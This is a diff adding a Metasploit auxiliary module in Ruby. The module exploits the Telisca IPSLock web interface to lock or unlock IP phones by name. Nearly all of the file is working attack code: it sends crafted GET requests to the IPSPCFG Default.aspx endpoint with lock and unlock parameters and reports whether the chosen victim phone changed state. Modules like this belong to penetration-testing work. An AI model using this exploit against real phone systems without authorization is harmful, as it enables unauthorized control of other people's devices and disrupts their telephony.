|
| 1 | +## |
| 2 | +# This module requires Metasploit: http://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +require 'msf/core' |
| 7 | + |
| 8 | +class Metasploit3 < Msf::Auxiliary |
| 9 | + |
| 10 | + include Msf::Exploit::Remote::HttpClient |
| 11 | + |
| 12 | + def initialize(info = {}) |
| 13 | + super(update_info(info, |
| 14 | + 'Name' => 'Telisca IPS Lock Control', |
| 15 | + 'Description' => %q{ |
| 16 | + This modules will exploit the vulnerabilities of Telisca IPSLock in order to lock or unlock |
| 17 | + IP Phones. You need to be in the voip vlan and you have to know the phone name. |
| 18 | + Example : SEP002497AB1D4B. |
| 19 | +
|
| 20 | + Set ACTION to either LOCK or UNLOCK. UNLOCK is the default. |
| 21 | + }, |
| 22 | + 'References' => |
| 23 | + [ |
| 24 | + # First publicly known resource |
| 25 | + 'URL', 'https://github.com/rapid7/metasploit-framework/pull/6470' |
| 26 | + ], |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'Fakhir Karim Reda <karim.fakhir[at]gmail.com>', |
| 30 | + 'zirsalem' |
| 31 | + ], |
| 32 | + 'License' => MSF_LICENSE, |
| 33 | + 'DisclosureDate' => 'Dec 17 2015', |
| 34 | + 'Actions' => |
| 35 | + [ |
| 36 | + ['LOCK', 'Description' => 'To lock a phone'], |
| 37 | + ['UNLOCK', 'Description' => 'To unlock a phone'] |
| 38 | + ], |
| 39 | + 'DefaultAction' => 'UNLOCK' |
| 40 | + )) |
| 41 | + |
| 42 | + register_options( |
| 43 | + [ |
| 44 | + OptAddress.new('RHOST', [true, 'The IPS Lock IP Address']), |
| 45 | + OptString.new('PHONENAME', [true, 'The name of the victim phone. Ex: SEP002497AB1D4B']) |
| 46 | + ], self.class) |
| 47 | + |
| 48 | + deregister_options('RHOSTS') |
| 49 | + end |
| 50 | + |
| 51 | + def print_status(msg='') |
| 52 | + super("#{peer} - #{msg}") |
| 53 | + end |
| 54 | + |
| 55 | + def print_good(msg='') |
| 56 | + super("#{peer} - #{msg}") |
| 57 | + end |
| 58 | + |
| 59 | + def print_error(msg='') |
| 60 | + super("#{peer} - #{msg}") |
| 61 | + end |
| 62 | + |
| 63 | + # Returns the status of the listening port. |
| 64 | + # |
| 65 | + # @return [Boolean] TrueClass if port open, otherwise FalseClass. |
| 66 | + def port_open? |
| 67 | + begin |
| 68 | + res = send_request_raw({'method' => 'GET', 'uri' => '/'}) |
| 69 | + return true if res |
| 70 | + rescue ::Rex::ConnectionRefused |
| 71 | + vprint_status("Connection refused") |
| 72 | + rescue ::Rex::ConnectionError |
| 73 | + vprint_error("Connection failed") |
| 74 | + rescue ::OpenSSL::SSL::SSLError |
| 75 | + vprint_error("SSL/TLS connection error") |
| 76 | + end |
| 77 | + |
| 78 | + false |
| 79 | + end |
| 80 | + |
| 81 | + # Locks a device. |
| 82 | + # |
| 83 | + # @param phone_name [String] Name of the phone used for the pn parameter. |
| 84 | + # |
| 85 | + # @return [void] |
| 86 | + def lock(phone_name) |
| 87 | + res = send_request_cgi({ |
| 88 | + 'method' => 'GET', |
| 89 | + 'uri' => '/IPSPCFG/user/Default.aspx', |
| 90 | + 'vars_get' => { |
| 91 | + 'action' => 'DO', |
| 92 | + 'tg' => 'L', |
| 93 | + 'pn' => phone_name, |
| 94 | + 'dp' => '', |
| 95 | + 'gr' => '', |
| 96 | + 'gl' => '' |
| 97 | + } |
| 98 | + }) |
| 99 | + |
| 100 | + if res && res.code == 200 |
| 101 | + if res.body.include?('Unlock') || res.body.include?('U7LCK') |
| 102 | + print_good("The device #{phone_name} is already locked") |
| 103 | + elsif res.body.include?('unlocked') || res.body.include?('Locking') || res.body.include?('QUIT') |
| 104 | + print_good("Device #{phone_name} successfully locked") |
| 105 | + end |
| 106 | + elsif res |
| 107 | + print_error("Unexpected response #{res.code}") |
| 108 | + else |
| 109 | + print_error('The connection timed out while trying to lock.') |
| 110 | + end |
| 111 | + end |
| 112 | + |
| 113 | + |
| 114 | + # Unlocks a phone. |
| 115 | + # |
| 116 | + # @param phone_name [String] Name of the phone used for the pn parameter. |
| 117 | + # |
| 118 | + # @return [void] |
| 119 | + def unlock(phone_name) |
| 120 | + res = send_request_cgi({ |
| 121 | + 'method' => 'GET', |
| 122 | + 'uri' => '/IPSPCFG/user/Default.aspx', |
| 123 | + 'headers' => { |
| 124 | + 'Connection' => 'keep-alive', |
| 125 | + 'Accept-Language' => 'en-US,en;q=0.5' |
| 126 | + }, |
| 127 | + 'vars_get' => { |
| 128 | + 'action' => 'U7LCK', |
| 129 | + 'pn' => phone_name, |
| 130 | + 'dp' => '' |
| 131 | + } |
| 132 | + }) |
| 133 | + |
| 134 | + if res && res.code == 200 |
| 135 | + if res.body.include?('Unlock') || res.body.include?('U7LCK') |
| 136 | + print_good("The device #{phone_name} is already locked") |
| 137 | + elsif res.body.include?('unlocked') || res.body.include?('QUIT') |
| 138 | + print_good("The device #{phone_name} successfully unlocked") |
| 139 | + end |
| 140 | + elsif res |
| 141 | + print_error("Unexpected response #{res.code}") |
| 142 | + else |
| 143 | + print_error('The connection timed out while trying to unlock') |
| 144 | + end |
| 145 | + end |
| 146 | + |
| 147 | + |
| 148 | + def run |
| 149 | + unless port_open? |
| 150 | + print_error('The web server is unreachable!') |
| 151 | + return |
| 152 | + end |
| 153 | + |
| 154 | + phone_name = datastore['PHONENAME'] |
| 155 | + case action.name |
| 156 | + when 'LOCK' |
| 157 | + lock(phone_name) |
| 158 | + when 'UNLOCK' |
| 159 | + unlock(phone_name) |
| 160 | + end |
| 161 | + end |
| 162 | +end |
0 commit comments